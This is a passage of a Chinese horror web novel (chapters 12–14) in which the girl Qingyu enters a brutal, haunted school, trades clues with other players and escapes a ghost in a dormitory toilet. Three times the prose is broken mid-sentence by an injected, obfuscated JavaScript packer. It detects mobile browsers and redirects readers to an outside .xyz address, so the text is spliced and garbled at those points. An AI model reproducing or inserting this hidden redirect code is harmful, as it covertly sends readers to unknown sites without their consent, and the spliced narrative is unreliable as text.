“那倒是没有,就是、就是吵架不好。老师会教训你的,他们会拖着你在走廊里一直走,会让你爬楼梯,很多惩罚,很吓人的,好吓人的。”她缩了缩脖子,像是回忆起什么可怕的事,声音越来越轻,突然开始发抖,然后发出了极力压制后的抽泣声。那紧紧缠在一起的双手终于松开了,一只手抬高了眼镜,一只手换着面儿的擦眼泪。 她哭得凄惨,青于突然从仓库里拿出一条巧克力开始啃,巧克力在她嘴里嚼得咔咔作响,里面的坚果香香脆脆,是青于从未吃过的味道。巧克力的味道也很陌生,不像是村里小卖部里卖的那样甜腻齁人,反倒有些苦,丝滑的口感不会嚼着嚼着变成一团,而是会化在唇齿间。 还挺好吃的,但是和以前吃得不一样,或许是假货。 假货还卖那么贵,以后不买了。 吃完一条巧克力,她又从背包里翻出来两个玉米,开始咔嚓咔嚓地啃。一个吃完再吃一个,两个都吃完了还是不太饱,又拿了一块压缩饼干出来开始吃。 旁边的女孩儿已经停止了抽泣,正眼巴巴地盯着她看,不断地吞咽着口水,还要明知故问地说:“你吃的是什么?看起来好香。” 青于三下五除二把压缩饼干吃完,这才感觉有点饱了,她擦去嘴上的碎屑,说道:“压缩饼干。你们是不是平时都吃不饱啊?” 女孩儿愣了一下,慢慢地点头,“也不算吃不饱,其实饿不着,但是也不太饱。你怎么知道啊?” 青于就说:“要是能吃饱,有力气,为什么要让那些人欺负你们,直接还手就可以了。” 女孩儿这次愣了很久,那张脸上有些扭曲,有几个瞬间露出了几分凶恶,那样凶狠的表情在她脸上却很适合,好像她生来就是这样不服管教的性子,有着一副天不怕地不怕的模样,可最后她还是垂下眼睛,声音轻得几乎听不见:“还手?他们力气很大,还有武器,我们太瘦小了……” 青于说:“我的力气也很大,我也有武器,只要我能吃饱,我就不怕他们。就算暂时没法反抗,只要等待机会,我一定可以成功的。” 女孩儿笑了一下,似感慨似劝导,“很难的……新同学,反抗很难的。” 她的脸在笑,嘴角向上提起,但眼里却没有一丝笑意,那眼尾往下压着,眉头轻轻蹙着,眉眼间带着复杂的情绪,像是通过一张被刻画出来的假面透露出来的真实情绪。 “或许吧,但是我不怕难。如果你觉得害怕的话,可以去找一样武器,手里有东西,就会安心一点,树棍、锄头、铁锹、火钳、锅铲,管它是什么,先拿起来再说。” 青于很少害怕,因为她没有别的选择,前面只有一条路,害怕也要走,颤抖也要走,只能往前走,所以她会往前走,不计后果地迈开脚往前走。 以前她没有退路,所以习惯了一往无前,习惯了用命去搏一条出路。 现在她有了退路,她还可以重活,所以更适合用命去搏。反正不管怎么样,都不该如猪狗般被人豢养欺凌。 12.平江三中(3) 她们走进教学楼,在上课的电铃声中停在教师办公室的门口,里面坐着一个穿着衬衫和西裤的男老师,他手中夹着烟,正有一搭没一搭地吸着,跷着二郎腿靠在旋转座椅上玩手机,白色的烟灰落在他西裤上,他丝毫没有发现,或者说没有在意。 手机里播放的短视频声音很大,刺眼的氛围灯直直打在衣着暴露的女主播身上,让皮肤边缘处泛起一层模糊的光影,节奏感强烈的鼓点夹杂着低音震动从手机扬声器里溢出,那些女人被困在小小的屏幕里扭动着。 男老师脸上带着一丝淫邪的笑,眼神黏在屏幕上不肯移开,手指不时地上下滑动更换视频。遇到实在合心意的女主播,他就会打开后台,给漂亮的女主播发上一条私信,用一种高高在上的姿态向她们表达自己的垂青。 一副帝王做派,将权力和欲望浓缩于一面小小的屏幕之间。用鄙夷的姿态,傲慢地审视看着屏幕,偏又要装出一副慈悲与恩赐的模样,仿佛自己是施舍者而非窥视者,那些恶心的行为皆是在“救风尘”。 他要劝解谁?他要拯救谁? 可根本没有人需要他的拯救。 青于冷漠地站在原地,用眼神审视着那个老师,身形高挑但是瘦弱,衬衫下的手臂很细,看起来并不是个难对付的人。 “王老师,我带新同学来报到。”站在旁边的女孩儿抢在她面前开口,脸上还带着谄媚的笑容,微微弓着身子,手指不自觉地绞着衣角。 王老师抬起眼皮扫了她们一眼,丧着一张脸将烟含在嘴里,然后从抽屉里拿出一块校牌扔在桌面上,校牌顺着他的力道滑到桌沿,最后啪的一声掉在地上。女孩儿小跑着上前,弯腰将校牌捡起来带回来给青于。 巴掌大的金属校牌,白底黑字印着“平江三中”的字样,校名下面有个可以写名字的黑色方框,像一口方方正正的棺材,等着学生将自己入殓。 青于的指尖擦过冰凉的金属表面,又试探着按了按校牌的四个角,很尖锐。她的目光仍然锁定在王老师脸上,那样安静冷漠的眼神总会让人觉得脊背发凉,但是王老师一无所觉,甚至没有给她一个多余的眼神。 王老师吐出一口烟雾,模糊了那张平平无奇的脸,头也不抬地说:“名字暂时不用填,反正过几天就得换。回去上课吧,晚上你就和徐念雨一间宿舍,她们宿舍有个空床位。” 青于攥紧校牌,薄薄的金属边缘嵌进掌心,有点疼。 她应了一声,然后挑了挑下巴示意徐念雨带路。徐念雨就转身带着她往教室走,边走边说,“我们上课的教室在三楼,右拐第一间就是了。学校里只有两个班,男生一个,女生一个,男生的教室在四楼,你平时千万别上去。” 她应该是笑着的,但是笑容很僵硬,像是刻意训练出来的一样,看起来有些诡异。 才走到二楼,就看见一个男生倚在栏杆边低头点烟,火星在昏暗的楼道里忽明忽暗。他歪头打量她们,目光停在青于脸上几秒,然后又上下打量,将她整个人框进视野中,最后笑了下,烟尾朝外轻弹,灰烬簌簌落下。 他问:“新来的?” 徐念雨没有说话,垂着头拉着青于继续往上走。 又走了几阶台阶,就看见一个只穿着内裤的男生脖子上套着铁链子往下爬,他四肢贴地像狗一样爬行,头低低地垂着,地面上有水迹,不知是汗水还是眼泪,拖了很长一条。 铁链铮铮作响,另一端就握在那个抽烟的男生手上。 他注意到青于的目光,突然伸手拽了一下,铁链猛然绷紧,那爬行的男生额头重重磕在台阶上,发出沉闷的响声。抽烟的男生挑眉露出一个很得意的笑容,懒洋洋地吐出一个圆圆的烟圈,“看什么?没见过驯狗?” 青于没说话,指尖在校牌边缘压得更紧了,指腹传来细微的刺痛,好像破了。 徐念雨拽了她一把,脚步加快,小跑着离开这个地方。 一直到离得远了,徐念雨才敢跟她说:“别看他们,那是男生那边的班长,负责管理不听话的学生。他很极端,很喜欢在人多的地方侮辱人,好几个学生都在他手里死了,你最好不要跟他起冲突。” 青于垂下眼,血珠从指腹渗出,滴在校牌边缘,晕开一小片暗红。 终于上了三楼,走廊尽头有一阵风吹来,吹散了令人窒息的烟味,也吹乱了她的黑发。走廊长长的,外围被铁丝网牢牢围住,灰色的水泥地面上留着各种各样的痕迹,最多的就是血迹,鲜血曾经渗透地面,留下深褐色的污渍,一年又一年,顽固地留在这片地面上,洗不净,也抹不去。 因为围了密实的铁丝网,所以阳光被切割成细碎的光斑,落在那些血迹上,星星点点的光斑照不亮暗沉的走廊,昏暗的、压抑的、透不过气的走廊。 学生们就被关在这样小小的格子里,连天空的全貌都看不清。他们走在长长的走廊上,像一群被关押的囚犯,身上背负着不知名的罪名。 青于抿着唇有些难过。 妈妈,这就是学校吗?我不喜欢。这里和你说的地方一点也不像,这里没有操场上打球散步的学生,没有阳光落在树叶上变成跃动的金光,没有你口中鲜活热烈的少年为了梦想而挥洒汗水。 这里只有压抑的走廊、匍匐颤抖的学生和施暴者得意的烟圈。 教室里有二十几个学生,全部都是女生,她们剪着相似的学生头,穿着一模一样的校服,有的戴着眼镜,有的没戴眼镜,各自低着头坐在位置上写作业,像一排被摆正的木偶。 讲台上没有人,黑板上用粉笔写着一行歪歪斜斜的白字。 今日任务:写一篇主题为“亲情与幸福”的作文,不少于两千字,不允许抄袭,如果有雷同情节,两人同时受罚。 有着红色线条格子的作文本铺在老旧的桌椅上,中性笔悬于纸面之上,写下一个个黑色的小字。她们沉默着,在绝望中写下幸福,笔尖划破纸张,她们求救无门,死亡缓缓逼近,她们要亲手书写“亲情”。 可就是“亲情”将她们送到这里,让她们人不像人,鬼不像鬼。 徐念雨和青于的到来没有引起任何人的侧目,她们呆滞地低着头写作,是一群被驯养好的羔羊,就算管理者不在,也不会擅自离开羊圈。 徐念雨带着青于走到教室最后排,她的位置在靠窗的位置,青于就坐在她旁边。她们的位置隔着一条过道,窄窄的过道,伸伸手就能牵住彼此。 很巧,桌面上就有铺开的作文本和文具盒,桌洞里还有两本书和一个贴着动漫人物的浅蓝色水杯。 作文本上已经写好了几行内容,一行是题目,余下的是内容。 我的爸爸 七岁那年父母离婚,妈妈走了,留下我和爸爸一起生活。爸爸不是个好人,但是我要仰仗着他生活,所以他成了一个好人,在我的眼中。 亲情是什么呢?亲情是挣脱、抵抗、出走,是眼泪流成了一条河,我趁着夜色划着小船离开,去往夕阳的尽头,然后小船翻了,我沉进没有光的海底,再也没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442543|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能找到我。可我的小船怎么也走不出港口,那象征着自由的港口被高墙围住,被铁丝网缠绕,父亲站在高高的墙头,指责我是个不检点的女儿。 任凭我挣扎,任凭我逃离,他始终把锁链缠在我身上,不顾我身上早已溃烂的伤口。 我的眼泪流不成河,只能浸入枕头里,在白日里留下一圈白色印子。枕头受潮发霉,散发出难闻的气味,可我不能换枕头,就像我不能换父亲。 发霉的不只是我的枕头,还有我,没用的我…… “你顺着写下去就可以了,下课的时候王老师会来收作业,到时候没有写够两千字要被惩罚的。不过不用着急,一节课两个小时,你可以慢慢写。” 青于坐下后看了一下作文本的封面,名字那栏写着一个名字:韩喜乐。 她手里握着笔,迟迟没有落下。 出现了一个大问题,她不太会写字。小时候妈妈教了她识字读书,所以她是认字的,但是没有纸笔,妈妈只能握着她小小的手在书本上慢慢描摹笔画,仅有的几次拿笔还是捡了堂哥不要的铅笔头。 短短的铅笔头被攥在手里,在书本上划出歪斜的痕迹,写下她的名字。 她只会写自己的名字,甚至不会写“蓝”,因为妈妈没教过,在妈妈的眼里,她只是“青于”。 那现在,她要怎么写一篇作文呢? 她迟迟没有动笔,徐念雨偏着头看过来,看了好一会儿,才小声问道:“你怎么不写?” 青于握着笔的手有些发麻,她说:“我不会写。” “我来帮你……” “不用了。”青于拒绝了她的好意,将那本作文本轻轻合上,小心地放进了桌洞里,然后从书包里拿出来一个玉米开始啃,玉米的甜味在嘴里蔓延,她出神地望着黑板上的白色粉笔字。 亲情? 幸福? 如果真的要写,她会怎么写呢?她会写灶台边自己冻红发麻的手指,写雨夜里漏风的墙缝,写父亲盛怒后摔在泥地上的碗和母亲死去时落在地上的红色发绳。 她能写很多很多,但是她不想写。那些人不值得她再次着墨,他们已经死了,就该像书本上的铅笔字一样,被劣质橡皮擦去,只剩下一条条黑色的碎屑,那是他们的尸骨。 而妈妈怎么写都不对,写不出她的味道,写不出她的温度,写不出她炙热的眼泪和温情的目光。 青于擦了擦嘴,问徐念雨,“是不是只有下课的时候老师才会来?这段时间他们都不会出现?” 徐念雨点头,小声说:“你还是写一写吧,不然会被惩罚……” 青于打断了她,说道:“我睡一会儿,快要下课的时候你把我喊醒。” 徐念雨抿了抿唇,有些怯懦地点了点头。 青于倒头就睡。 上车已经好几天了,她一分钟都没睡过。困倦侵袭了大脑,她头疼得厉害,连思绪也断断续续,乱七八糟的,连不成一段完整的逻辑。 在真正的危机出现之前,她需要睡眠。 青于睡着了,规律的呼吸声响起,窗外的阳光落在桌面上,形成一片晃动的光斑,像一只手轻轻描摹她的脸。 教室里的那些学生开始转头看着她,她们的身体端端正正地坐着,头却以一种诡异的弧度扭转,齐刷刷望向她,眼神十分空洞,像是被什么无形的力量操控着。 青于在梦中皱了皱眉,手指微微抽动了一下。那些头便齐刷刷地转了回去,仿佛什么都没有发生过。 13.平江三中(4) “叮叮叮叮叮——” 青于被刺耳的电铃声吵醒,她猛地睁开眼,手下意识地握紧了刀柄,粗糙的手感具有强烈的存在感,她的脑子瞬间清醒,快速环顾四周。 教室里空无一人,凉凉的风从被砸碎的破窗中灌进来,直直打在她身上。 黑板、桌椅、书本全部散落在地,覆盖着一层厚厚的灰尘,教室角落里有厚厚的蜘蛛网,干瘪的蜘蛛尸体缠在网上,不知是何时被风干的。睡觉前还是坐满的教室,一觉醒来却变成了荒废的教室,时间仿佛走了很久,但是她丝毫没有察觉。 地面上有厚厚的灰尘,但是没有脚印。 桌洞里空荡荡的,没有作文本、文具盒、课本、水杯。属于韩喜乐的一切都消失了,旁边属于徐念雨的课桌翻倒在地,一件被扯烂的校服短袖压在课桌下,上面还残留着红色记号笔的痕迹,像血管外的血,因为痛苦而出现,留在了布料的经纬之间。 “喂,你怎么还在这儿,没听到广播公布安全区吗?” 朱芸站在门口,穿着属于平江三中的校服,眉头微皱,语气中带着一丝不耐烦。她手里拿着一本书,头发扎成利落的马尾,额前的碎发被汗水浸湿,贴在白皙的皮肤上。 在她的身后,有王美燕、黄毛、光头、陈建设,还有一群青于没见过的人。他们表情鲜活,用好奇的目光打量着这间破败的教室,打量着待在教室里一动不动的青于,像是在看一个糊涂得分不清形式的莽夫。 青于缓缓站起身,活动了一下手脚,然后走到朱芸身边,目光扫过她手中的书,上面写着《平江三中学生守则》。 他们每个人手里都有书,只有青于没有,她不远不近地站在朱芸身边,跟着她往前走。 什么广播,她没听到。 应该是睡得太死了,所以错过了一些入学程序。 走廊的灯光忽明忽暗,将他们的影子拉长又缩短,黑影在斑驳的墙面上扭曲蠕动,仿佛有生命般相互缠绕。 他们的脚步声很整齐,没有人说话,所以很安静。 铁丝网外的天彻底黑了,操场上几盏昏黄的路灯亮起,有看不清模样的黑影在操场上走来走去,如同游魂般徘徊着。 他们来到了一间办公室,门虚掩着,朱芸推开门进去,里面有一面巨大的镜子。在镜子里,他们穿着平江三中的校服,面容是模糊的。 办公室里有椅子,一群人各自找椅子坐着,动作熟练得像是回到了自己的家里。青于也找了个位子坐下,在角落里,黑暗将她藏起来,她暗中观察这群和自己同样来历的新生。 朱芸靠在椅子上跷着二郎腿,说道:“说说吧,你们得到了什么线索,我们早点出去,就能少消耗一些物资。” 黄毛先说:“男生的班长叫程叶,他好像和老师们有些什么关系,那些老师对他态度很和善。学生们说,他负责每日查寝,男寝女寝都归他查,夜不归宿是常有的事。有流言说他在学校里有个女朋友,不回来的晚上都是去女朋友那里住了。” 光头说:“今天有个学生被惩罚了,因为他试图逃走。程叶和班主任说,‘他找到了钥匙,我们不能让他活着,不然钥匙的存在迟早被人发现’,之后那个被惩罚的学生就跳楼了,应该是程叶动的手。” 陈建设说:“我来得比较晚,在楼下看到了学生的尸体,他的尸体很完整,并不是跳楼致死的样子,而且他的舌头被割了,身上有多处被殴打的痕迹。” 王美燕靠在椅背上,面无表情地说道:“我们几个女人在王老师的办公室待了一下午,在这期间校长给王老师打了个电话,他接电话时离开了办公室,所以我们只听到了一些关键词。‘收益不好’‘新生质量’‘没人买单’,只有这些。” 另一个女人说道:“好像是因为有几个女学生消失了,所以女生这边管得很严,没让我们去教室里接触那些学生,说是从明天开始让我们去男生的班级里待一段时间,等女生这边的事情解决了再说。” 朱芸看向青于,“你呢,你有什么信息要共享吗?你不用担心,在这种副本里,大家都是尽可能地团结合作,争取早日离开,所以没人会害你。” “我们是‘风滚草’集团下的一个队伍,并不是什么没有信誉的民间组织,你可以信任我们。”黄毛说着点了一支烟,烟雾在昏暗的办公室里缓缓升腾,他吐出一口烟圈,眼神盯着青于不动。 青于低着头,片刻后才开口:“女生的班级里在写作文,题目是‘亲情与幸福’,有一个叫‘韩喜乐’的学生不在,我坐了她的位置。” “韩喜乐?”黄毛突然说道,“程叶的女朋友就叫韩喜乐,据说是个很漂亮的女生,他们感情一向很好,程叶可以离开学校,每次出去都会带着她一起。” 青于紧接着问道:“你们说的广播是什么意思?” “天黑后,广播公布了副本安全区,就是这间办公室。在夜里我们无处可去的时候,可以聚集在安全区等待下一次天亮……但是并不能一直这么躲着,因为很多线索可能要晚上才会出现,所以我们一般只藏一次,用来分享信息,之后就要各自想办法找寻离开的办法。但是安全区一直存在,如果你遇到危险,可以藏在里面躲一躲。” 朱芸说完后拍了拍裙摆,将座椅的靠背往后调,直至完全放平后躺了下去,她说:“这也是最合适的休息时间。祝你好运吧,新人。” 青于把外套的拉链拉到顶,然后重新扎了一下头发,将粗粗一把头发绑得紧紧的,扯得头皮有些疼。 她握着刀站起来,轻声说了句,“我要出去找线索,你们休息吧。” 黄毛被烟雾呛了一口,咳嗽着掐灭了烟头,哑着声音提醒她:“这才第一天,什么情况都不知道,你贸然出去很容易出事的。不如再等等,至少得知道今晚会出现什么。” “其实都差不多,知道还是不知道都一样,很多事情只有遇到的时候才知道该怎么解决。” 最重要的是,青于刚刚睡醒,正是觉得精力充沛的时候,浑身都是劲儿,脑子也活泛,这种时候正适合出去找线索。而且她不怕死,她也相信自己没那么容易死,反正第一步总要踏出去,何必在意白天还是晚上。 最重要的是,王老师给她安排了住处,就在徐念雨那个宿舍里,她并不是没有去处的。 她隐隐有些猜测,徐念雨和韩喜乐一定有关系,她们的座位距离很近,近到一歪头就能看到对方在写什么,在做什么。黑板上的主题作文是今天的内容,而韩喜乐已经写了一部分了,她是今天才消失的。徐念雨也很奇怪,她一个人出现在空旷的操场上,像是特地去接新生的。 但是,王美燕她们也是新生,没人去接她们。 青于能想到的意外就是那个守门的老头,他向自己索要好处,自己没给,还敲碎了他的玻璃,之后徐念雨才出现,她一出现就说“不要吵架”。 所以让徐念雨出现的契机是冲突,她出现了,所以自己进入了教室,也有了住宿。 青于离开办公室,从仓库里取出户外手电筒,手电筒的光线稳定又明亮,照射范围很广,打开的一瞬间走廊亮如白昼。 她顺着光往前走,路过了白天待过的教室来到楼梯口,下楼梯,走到一楼,经过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442544|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王老师的办公室。办公室的门有些老旧,上面挂着一个大铁锁,门缝儿有点大,里面透出一丝微弱的光,青于放轻脚步,将手电筒按在自己腹部暂时隔绝光源,然后将脸贴近门缝儿,往里面看去。 突然,门缝里出现了一只眼睛,直直对上青于的视线。那张脸被门缝儿切成窄窄的一条,那只眼睛在黑暗中泛着幽光,干裂起皮的唇勾起,嗫嚅着,好像在说些什么。 青于吓了一跳,往后退了一步,将手电筒猛地照向门缝儿,那张脸消失了。 “你在干什么?” 身后响起一道男声,还有打火机“咔嗒咔嗒”的声音。 青于迅速转身,手电筒的光束照到一张冷漠的脸,是白天遇到的那个男生,那个说“训狗”的男生。 他眯着眼抬手挡住强光,抬了抬下巴示意青于关掉手电,手中的香烟皱皱巴巴的,手里提着一盏散发着浓重气味的煤油灯,灯光微弱,在手电的强光下几乎看不出里面有光。 青于并没有关闭手电筒,而是再次将其按在自己腹部暂时隔绝光源,她看着那个男生,缓缓开口,喊道:“程叶班长?” 男生挑眉,像是没有想到她会认识自己,他含着香烟说道:“你在这儿做什么?天黑了,得回宿舍。” “我找王老师问一下宿舍在哪里,我和徐念雨一个宿舍。” 男生皱眉,小声嘟囔了一句话,然后指着旁边的宿舍楼说,“二楼201,你去吧。动静小点,别吵到其他同学休息。对了,明天上课记得穿校服,不然要受罚的。” 青于点头,说道:“谢谢班长。” 她转身朝着宿舍楼走去,两栋楼之间有些距离,要穿过空旷的操场,操场上有微弱的月光,并不算太暗,所以她按在腹部的手电就一直没有转过来。 路过保安亭,她看见了那道破碎的玻璃窗,是她砸碎的。里面没有人,那个老头不在。 有些奇怪,她在楼上往下看时,操场上有很多游荡的黑影,现在下来了,又消失了。 宿舍楼的大门敞开着,门上挂了一块小黑板,上面写着:一楼男寝,二楼女寝,三楼教师寝。 楼里很暗,手电筒就派上了用处,她顺着楼梯一直往上,找到了201室。 宿舍门虚掩着,她轻轻推开,屋内摆着两张床。左边的床位没有人,右边的床位也没有人。 床上是一模一样的浅蓝色床上用品,左边的床铺得整整齐齐,枕头旁放了一只巴掌大的深棕色小熊玩偶,右边的床单却皱成一团,被子胡乱堆在床尾,枕头旁边放着一把有着粉红色外壳的美工刀。 床栏上贴着名字。 左边是“韩喜乐”,右边是“徐念雨”。 所以,王老师口中的空床位,就是韩喜乐的床位。她已经死了吗? 徐念雨去哪了?她为什么也不在? 青于站在床边踌躇着,身后的门突然被推开,一阵冷风从身后灌入,她猛地回头,手电筒光束扫过门口,照亮了那盏摇曳的煤油灯。程叶叼着烟站在门框外,神色未变,随意地扫了一眼屋内,然后在查寝的本子上画了个勾。 “早点休息,明天见。”他吐出一口烟雾,目光落在那把美工刀上停留了一瞬,随即移开目光,拉上门走了。 这间屋子里,现在只有青于一个人。 她站在原地,把手电筒照向屋顶,让整间屋子都笼罩在光里,然后开始在宿舍里翻找线索。 韩喜乐大概率已经死亡了,那她是怎么死的呢?会和那个男生一样知道了“钥匙”的秘密而被灭口吗?徐念雨在这件事里又充当着什么样的角色? 14.平江三中(5) 手电筒的光扫过韩喜乐床底,发现一只沾满暗褐色污渍的帆布鞋,鞋底沾着厚厚一层泥土,系好的鞋带里夹杂着一些干枯的草屑。 青于把那些草屑轻轻抽出来装进外套口袋里,想着明天白天拿去和操场边缘的植被比对,或许能推断出她去过什么地方。 不仅如此,地面上好像还有别的污渍,黑乎乎的一大片不知道是什么。 青于正想趴下去细看,忽觉后颈一凉,像是被人用指尖轻划而过,薄薄的指甲轻轻刮过皮肤,带起一阵战栗和细密的痒意。她猛地转身,手电筒的光线剧烈晃动,却只照到一片空荡荡的墙壁,白墙上的腻子粉没有刮涂均匀,有明显的痕迹,上面还有几只干了的蚊子尸体。 她屏住呼吸,光束缓缓移向屋里的每一个角落,最终停在墙角的拖把上。 那拖把浸在一个铁皮桶里,里面有半桶黑乎乎的脏水,一些头发和碎屑漂浮在水面上。拖把的木柄上有几道新鲜的划痕,像是被刀划过,青于瞬间就联想到了徐念雨床上的美工刀,还有她手臂上那些整齐的划痕。 青于蹲着,将杀猪刀伸进铁皮桶里搅动那半桶腥臭的脏水,铁皮桶底部沉淀着许多头发,很多很多的头发。她用刀将头发全部挑出来堆在地面上,然后用嘴含着手电筒,腾出一只手仔细翻看那一堆湿漉漉的头发。 长度是相似的,发色也基本一致,应该是来自于同一个人。断口整齐,应该是用利器一小撮一小撮地割断,最后再次修理长度,所以会有一些短短的碎发混在其中。 这不是徐念雨的头发,徐念雨是黑发,这些头发是浅棕色的,是被染过的颜色。 会出现在这间宿舍里的,除了徐念雨就是韩喜乐了。 这些都是她的头发,被徐念雨的美工刀一撮撮割下,最后藏进拖把桶的脏水里。根据桶里的气味和水质的黏糊,可以判断这些头发已经浸泡了很久。 宿舍只是一个方方正正的单间,没有卫生间也没有洗手台,想要用水必须去走廊尽头的水房和厕所。她们为什么不处理这些头发? 她把头发重新塞进桶里,用拖把压好。然后回到韩喜乐的床铺前,将手电筒光束再次照进床底,她要看清那床底大面积的究竟是什么污垢。 在手电筒的光束下,那片污渍呈现出不规则的喷溅状,边缘干涸发暗,中心部分则凝结成块,散发着陈旧血渍特有的铁锈味。青于用刀尖轻轻刮取一点,然后用沾着水迹的手指细细碾磨,滑腻的触感在指尖上爆发。 是血迹。 大面积的血迹,中间那些较厚的部分是干涸的血块,边缘喷溅的痕迹呈放射状扩散,说明血迹是喷溅出来的,并非慢慢流出来。 这样的血迹不该出现在床底,所以,这是不是说明韩喜乐的床原本不在这个位置?是在惨案发生后,被刻意移过来遮挡血迹的。 两张床是正对着的,如果韩喜乐的床被移动过,那徐念雨的床应该也被动过。 手上黏糊糊的,青于想要洗手。 她有一个大胆的决定,她想去水房和厕所看看。因为宿舍内没有厕所,想要起夜的话必须穿过阴森的走廊去往尽头处,所以夜里离开宿舍是正常的,毕竟每个人都要上厕所的需求。 这应该不会出现什么危险。 青于握紧杀猪刀,一步步朝门口走去。走到一半,突然想起什么,又回到那个铁皮桶旁边蹲下,从里面捞了一把湿漉漉黏糊糊的头发抓在手里。 然后才快步走到门边,将脚高高抬起按下门把手,门轴发出很大的声响,随后她微微用力将门踹开,一阵冷风灌了进来,夹杂着走廊里的霉味和厕所里的氨臭味。 走廊里没有灯,黑黝黝的,手电筒的光束驱散黑暗,照亮了花纹复杂的地砖和受潮剥落的斑驳墙皮。 水房和厕所是连在一起的,有一道圆形的拱门,走进去就是两排长长的洗手台,洗手台上贴着小块儿的白色长方形瓷砖,看起来很新,干净又整洁。每一排有十几个水龙头,有的还在滴着水。 进了水房往右拐有一道门,穿过去就是厕所。青于用刀尖顶开那道门,门轴响了一声,塑料门打开了,厕所内空间狭长,排列着数个蹲坑,蹲坑之间的隔板又脏又破,而且每个坑位前面都没有门。 水房没有窗户,厕所却有窗户。 一道大大的窗户装在厕所最内侧,紧挨着尽头的墙。窗框锈蚀,玻璃脏污不堪,厚厚的污垢几乎遮蔽了所有光线,唯有几道细长的裂痕像蛛网般蔓延,稀薄的月光照了进来。 青于用手电扫了一圈,没有发现什么不对劲的,她正准备出去洗手,忽然注意到最里面的蹲坑前出现了一道影子。 就像是有个人在那上厕所,然后影子映在地面上了,可她刚刚进来时,那里分明是没有影子的。 而且,厕所里光线不充足,会有影子出现在这个角度吗?更奇怪的是,手电筒的强光照过去,那影子非但没有消失,反而微微颤动了一下。 青于的心跳骤然加快,呼吸凝滞,她往前走,止步在那蹲坑的侧面,在强光的照射下,那影子依旧清晰地映在潮湿的地面上。 她猛地向前一步手起刀落,湿漉漉的刀刃直直劈向那蹲在坑位上的女孩儿。 那女孩儿垂着头,黑色的长发拖到了地面上,身上的校服被血迹浸透,血液顺着她惨白的皮肤一滴一滴地落在坑沿上,发出轻微的滴答声。 刀刃穿过她的身体,没有一丝阻力,好像劈到了一道没有实体的影子。青于瞳孔猛地一缩,往后退了两步,嘴里越发用力地咬紧了手电筒。 那女孩缓缓抬头,她的脸上没有五官,只有一团血肉模糊的烂肉,湿漉漉又黏糊糊的黑发蠕动着攀上青于的脚腕。冷意顺着脚腕延至全身,青于想后退,却被一股力量拉扯着往前滑去,地面湿滑,她就这样滑着离那个女孩儿越来越近。 已经很近了,湿发缠得更紧,并且顺着小腿开始往上爬。 青于突然抬手,将手里拿着的那一把头发猛地按在女孩儿的脸上,黏糊糊的发丝缠在她脸上,与那些烂肉融为一体,那团血肉忽然像活过来一般剧烈抽搐,女孩儿发出了凄厉的惨叫声,惨叫声在狭闭的厕所内不断回荡,她开始打滚挣扎。 青于趁机挥刀砍断缠在腿上的发丝,转身冲向门口。她不敢回头,手电筒的光柱剧烈晃动,地面上那些漆黑的发丝像潮水般向她涌来,发丝的尖端已经触及她的脚踝,下一刻就会再次阴魂不散地缠上来。 就在此刻,青于跑到了门口,她侧身用肩膀猛地将门撞开,出来后转身抬脚一踹,塑料门“砰”的一声重重关上,她用尽全力抵住门板,冷汗顺着额头滑落。 门那边传来指甲抓挠塑料门板的刺耳声响,伴随着可怜的啜泣声,啜泣声渐渐化作低笑,断断续续地从门缝底下渗出来,强势地钻进青于的耳朵里。 “我不漂亮……” “呜呜呜呜,我不漂亮!我不漂亮!” “哈哈哈哈,我不漂亮了!我好丑……哈哈哈哈,我好丑!” “我丑!我真丑,我真丑……我是最丑的……” 青于死死抵住门,耳膜被那诡异的笑声撞击得生疼,握着刀的手微微颤抖,冷汗浸透脊背,一时之间进不得退不得。这一刻恐惧变得模糊,反而催生出一种诡异的清醒,她思考着该如何脱困,也反复琢磨着女孩儿嘴里的话。 “哒、哒、哒、哒” 规律的脚步声由远及近,在空荡的走廊里回响,每一步都踩在青于紧绷的神经上。脚步声在身后不远处停了下来,门板对面的撞击感瞬间消失,只剩下那些水龙头滴水的声音。 青于握着刀柄猛地转身,手电筒的光束直直照向来人,程叶的脸出现在强光里,他微微眯着眼,嘴角带着诡异的笑意,轻声说道:“新同学,你在这里干什么?” 在他的注视下,青于试探着挪动了脚步,走到洗手台前方将手洗干净,然后把含在嘴里的手电筒拿下来,活动着僵硬的下颌,戒备地说道:“班长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463903|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我过来上厕所的,已经上好了,现在洗了手就回去。” 程叶笑着点头,“晚上要早点睡觉,不要乱跑。” 青于握着刀柄的手有些发麻,她不敢放松丝毫,目光死死盯着程叶的眼睛,试图从中找出一些破绽,比如紧张或闪躲之类的情绪。但是没有,程叶的目光平静得近乎空洞,只有浮于表面的笑意,没有任何情绪。 